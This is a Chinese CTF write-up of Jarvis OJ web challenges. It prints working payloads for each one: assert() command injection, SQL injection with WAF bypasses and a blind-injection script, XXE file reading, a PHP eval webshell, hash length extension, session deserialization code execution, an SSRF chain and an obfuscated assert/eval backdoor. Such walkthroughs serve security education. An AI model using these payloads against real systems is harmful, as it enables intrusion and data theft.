Jarvis OJ-WEB Write up

听说这个平台的题目质量比较高,所以就写了这篇wp。

babyphp

根据提示PHP GIT Bootstrap想到git泄露,然后把源码down下来审计。
发现flag.php在templates目录中。
关键代码

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<?php
  require_once $file;
?>

直接page=/templates/flag.php显示文件不存在,因为flag被注释掉了。
看到assert,应该可以命令注入

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")

可以构造

assert("strpos('templates/'.system("cat templates/flag.php").'.php', '..') === false")

图片.png
查看页面源代码
图片.png

61dctf{8e_careful_when_us1ng_ass4rt}

inject

Hint1:先找到源码再说吧

根据提示找源码,发现不是git泄露,扫一波目录发现index.php~
图片.png
index.php源码

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

我们发现了反引号,需要让这段代码中的SQL语句能运行成功才能进入下一条查询语句中。

mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();  

反引号是为了区分MySQL的保留字与普通字符而引入的符号。不加反引号建的表不能包含MYSQL保留字符,否则出错。
* 在标准 SQL 中,字符串使用的是单引号。
* 如果字符串本身也包括单引号,则使用两个单引号(注意,不是双引号,字符串中的双引号不需要另外转义)。
* MySQL对 SQL 的扩展,允许使用单引号和双引号两种。

我们发现在使用反引号时,只要前表table1存在,即使table2不存在,该语句也是能执行的

desc `table1` `table2`

单引号却不可以执行。

mysql> desc `users`;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| id       | int(3)      | NO   | PRI | NULL    | auto_increment |
| username | varchar(20) | NO   |     | NULL    |                |
| password | varchar(20) | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

mysql> desc `ss`;
ERROR 1146 (42S02): Table 'security.ss' doesn't exist

mysql> desc `users` `ss`;
Empty set (0.00 sec)

mysql> desc 'users' 'ss';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users' 'ss'' at line 1

且后面的表名是前面表名的别名

mysql> select * from `users` `aaa` where aaa.id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | dd       | Dumb     |
+----+----------+----------+
1 row in set (0.09 sec)

所以我们可以构造

desc `flag` `union select 1 limit 1,1`

相当于

mysql> select 'flag{xxx}' from users `` union select 3 ;
+-----------+
| flag{xxx} |
+-----------+
| flag{xxx} |
| 3         |
+-----------+
2 rows in set (0.00 sec)

mysql> select 'flag{xxx}' from users `` union select 3 limit 1,1;
+-----------+
| flag{xxx} |
+-----------+
| 3         |
+-----------+
1 row in set (0.00 sec)

图片.png
后面的注入过程不用再写了,

?table=flag` `union select flagUwillNeverKnow from secret_flag limit 1,1

flag

flag{luckyGame~} 

admin

网页什么也没有,抓包也没发现什么。扫波目录发现robots.txt,刚才忘了看/robots.txt

Disallow: /admin_s3cr3t.php

访问显示flag{hello guest} ,明显是假的flag。
抓包发现admin=0,改成1得到flag。

LOGIN

给了一个密码框,抓包在响应包里看到提示
图片.png

select * from `admin` where password='".md5($pass,true)."'

md5($pass,true),md5第二个参数为输出格式,默认为false,
* TRUE - 原始 16 字符二进制格式
* FALSE - 默认。32 字符十六进制数

图片.png
这里第二个参数为True,MD5之后是hex格式,转化到字符串时如果出现'or'xxxx的形式,就会导致注入

select * from `admin` where password=''or'xxxx';

例如字符串ffifdyop
图片.png
图片.png
flag

PCTF{R4w_md5_is_d4ng3rous}

神盾局的秘密

查看源码发现任意文件读取,读取index.php发现源码

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

再读一下shield.php

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

提示flag在pctf.php,明显的利用反序列化读取文件。
构造反序列化payload

<?php
class Shield{
    public $file;
    function __construct($filename = '') {
        $this -> file = "pctf.php";
    }
}
$a=new Shield();
echo serialize($a)
?>

?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
图片.png
flag

PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

PORT51

使用端口51访问,可能是在内网的原因本地不行,需要在vps上执行。

curl --local-port 51 http://web.jarvisoj.com:32770/

图片.png
flag

PCTF{M45t3r_oF_CuRl}

IN A Mess

index.phps

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}

?>

没注意开始对id值的判断,id不能为0,卡了好久。下面的绕过就很简单了,烂大街的东西。
eregi这里可以利用通配符.,也可以利用00截断绕过。
图片.png
图片.png
给了个地址/^HT2mCpcvOLf
id=1'报错出sql语句SELECT * FROM content WHERE id=1',waf过滤了union,fuzz发现#,union,select,from都被替换成了空格,但是可以双写绕过。
waf掉了空格,order by,group by,union select空格可以用/*1*/绕过,union select也可以用注释绕过。

index.php?id=2/*1*/uniunionon/*1*/selselectect/*2*/1,2,3

图片.png
表名content

index.php?id=2/*1*/uniunionon/*1*/selselectect/*2*/1,2,table_name/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()

图片.png
字段名

index.php?id=2/*1*/uniunionon/*1*/selselectect/*2*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74

图片.png
图片.png

flag

PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。
源码

<script>
function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

这里利用ajax发送json数据,Content-Type:application/json
更改Content-Type: application/xml。发送xml格式数据,引用外部实体读取文件。
payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
<note>&file;</note>

图片.png
flag

CTF{XxE_15_n0T_S7range_Enough}

Simple Injection

布尔盲注,什么都没过滤。
注库名的脚本

# -*- coding:utf8 -*-
import requests
import string

str1 = '1234567890'+string.ascii_letters+string.punctuation
flag = ''

select = 'select/**/database()'
url="http://web.jarvisoj.com:32787/login.php"
for j in range(1,66):
    for i in str1:
        paylaod="admin'/**/and/**/(if(substr(({}),{},1)='{}',1,0))/**/and/**/'1".format(select, j, i)
        #print(paylaod)
        data={
            'username': paylaod,
            'password': 'admin'
        }
        r=requests.post(url,data=data)
        if '密码错误' in r.text:
            flag+=i
            print(flag)
            break

Easy Gallery

URL明显存在文件包含,结合提示应该是文件包含加文件上传getshell。
尝试

http://web.jarvisoj.com:32785/index.php?page=view
http://web.jarvisoj.com:32785/index.php?page=view.php%00

显示正常,说明存在00截断。接下来只要包含自己的图片马就可以了。
上传图片马,查询id,进行包含
图片.png
被waf掉了。
网上找的payload

<script language="php">eval($_POST['Smi1e']);</script>

再次上传进行包含
图片.png
flag

CTF{upl0ad_sh0uld_n07_b3_a110wed}

flag在管理员手里

扫到index.php~打开发现乱码,根据头部信息发现是vim备份文件。
扔进linux里,后缀改为.swp,vim -r index.php.swp即可恢复。

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
    body {
        background:gray;
        text-align:center;
    }
</style>
</head>

<body>
    <?php 
        $auth = false;
        $role = "guest";
        $salt = 
        if (isset($_COOKIE["role"])) {
            $role = unserialize($_COOKIE["role"]);
            $hsh = $_COOKIE["hsh"];
            if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                $auth = true;
            } else {
                $auth = false;
            }
        } else {
            $s = serialize($role);
            setcookie('role',$s);
            $hsh = md5($salt.strrev($s));
            setcookie('hsh',$hsh);
        }
        if ($auth) {
            echo "<h3>Welcome Admin. Your flag is 
        } else {
            echo "<h3>Only Admin can see the flag!!</h3>";
        }
    ?>

</body>
</html>

salt未知,校验内容和hash值可控,明显的哈希长度扩展攻击。
我伟爷爷讲的真详细
图片.png
md5($salt+$校验内容)=$md5,校验内容和md5已知,我们可以通过哈希长度扩展攻击对校验内容后面增加一些新的内容,然后能够计算出新的md5值。
原理:https://www.smi1e.top/?p=1我这篇文章讲的很详细
图片.png
注意role在md5加密的时候被反转了一下。
输入的分别为:原hash值,校验内容,salt+校验内容总长度,想要添加的内容。
反转一下再用sublime把\x全部替换为%,我在这掉坑里了。

;"tseug":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00;"nimda":5:s

然后编码一下和新hash值一起提交就可以了。
图片.png
flag

PCTF{H45h_ext3ndeR_i5_easy_to_us3}

PHPINFO

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

session.serialize_handler=""定义session的默认序列化引擎,默认是php(5.5.4后改为php_serialize)这里为php5.6,所以默认为php_serialize。

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
序列化时处理器为php_serialize,反序列化时为php,因此可以用|注入伪造任意数据。
SESSION上传进度:http://php.net/manual/zh/session.upload-progress.php
官方文档内容

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得

前两天的HITCON2018正好用到了这个姿势,我也写了wp:https://www.smi1e.top/wp-admin/
在使用session_start()时会自动加载session文件中的值,因为在这里在__destruct方法中使用eval,所以只要在session文件中写入这个类的php序列化引擎对应的反序列化值,就能够执行代码。
查看phpinfo配置
图片.png
session.upload_progress.enabled是开启的。session.upload_progress.name为默认的PHP_SESSION_UPLOAD_PROGRESS,所以我们可以post一个与其同名的变量,来使得我们上传的文件名或者变量PHP_SESSION_UPLOAD_PROGRESS的值写入session。
上传页面

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

图片.png
这里的各种调用系统命令的函数都被禁用了,只能用php自带函数来读取目录和文件内容。
构造序列化引擎为php的序列化字符串

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);

var_dump($a);

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

转换

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

图片.png
flag文件名:Here_1s_7he_fl4g_buT_You_Cannot_see.php

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

当然还可以把序列化的值写在PHP_SESSION_UPLOAD_PROGRESS的值里
图片.png

flag

CTF{4d96e37f4be998c50aa586de4ada354a}

WEB?

脑洞题。线代渣的我感到绝望。

function(e)
 { 
if (25 !== e.length) return ! 1; 
for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n)); 
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) 
{
 for (var i = 0, a = 0; a < 25; a++) 
  i += t[a] * o[n][a]; 
  if (i !== r[n]) return ! 1
 } 
return ! 0

矩阵乘法
图片.png
别人的脚本

from  numpy import *
import gmpy2
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237,
     344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = [
    [11, 13, 32, 234, 236, 3, 72,
     237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135],
    ...]
a_o=array(o)
a_r=array(r)
t = linalg.solve(o,r)
print t
for i in t:
    print str(int(round(i))),
# QWB{R3ac7_1s_interesting}

图片上传漏洞

CVE-2016-3714 - ImageMagick 命令执行分析
影响版本ImageMagick 6.9.3-9以前的所有版本

Chopper

<!--<script>alert('admin ip is 103.27.76.153')</script>-->

ip也伪造不了
发现图片是通过proxy.php代理来访问图片的

<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">

我们可以用这个去访问admin ip 然后让admin IP 访问/admin/目录
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
访问不了,不知道是不是被搅屎了。
在admin目录下扫到robots.txt

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

trojan.php.txt

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("(
"^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}
(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").
("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S").
("_"^"o"). ("?"^"b"). ("]"^"t"));?>

上述代码保存为php页面运行一下,得到Warning:
Warning: assert() [function.assert]: Assertion "eval($_POST[360])" 

密码为360